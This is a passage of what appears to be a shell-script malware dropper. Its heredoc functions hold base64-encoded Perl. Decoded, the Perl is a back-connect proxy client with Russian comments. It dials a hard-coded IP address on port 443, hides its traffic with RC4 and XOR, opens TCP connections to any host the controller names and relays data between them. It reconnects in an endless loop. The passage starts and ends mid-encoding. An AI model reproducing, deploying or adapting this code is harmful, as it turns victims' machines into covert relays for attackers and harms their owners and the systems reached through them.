dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_57() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDQnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
